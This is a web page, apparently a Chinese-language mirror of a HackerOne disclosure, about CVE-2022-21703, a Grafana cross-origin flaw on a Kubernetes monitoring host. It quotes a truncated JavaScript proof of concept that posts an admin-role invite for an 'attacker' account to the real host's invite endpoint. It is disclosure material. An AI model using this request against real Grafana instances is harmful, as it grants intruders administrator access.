monitoring.prow-canary.k8s.io is vulnerable to CVE-2022-21703 (Grafana 0-day)
该报告还没有中文解读。
原文摘录
摘自原文（6358 字符中的一小部分）
Disclaimer: At the time of writing this report, [CVE-2022-21703][cve] is still a 0-day. Grafana plans to release a fix on Tuesday, February 1st, 2022.
原文中的代码
const baseUrl = "https://monitoring.prow-canary.k8s.io";
const url = `${baseUrl}/api/org/invites`;
const name = "attacker";
const email = "[email protected]";
const data = {"name":name,"email":"","role":"Admin","sendEmail":false,"loginOrEmail":email};
const opts = {
method: "POST",
mode: …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Kubernetes 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @jub0bs · 版权归作者与 Kubernetes 所有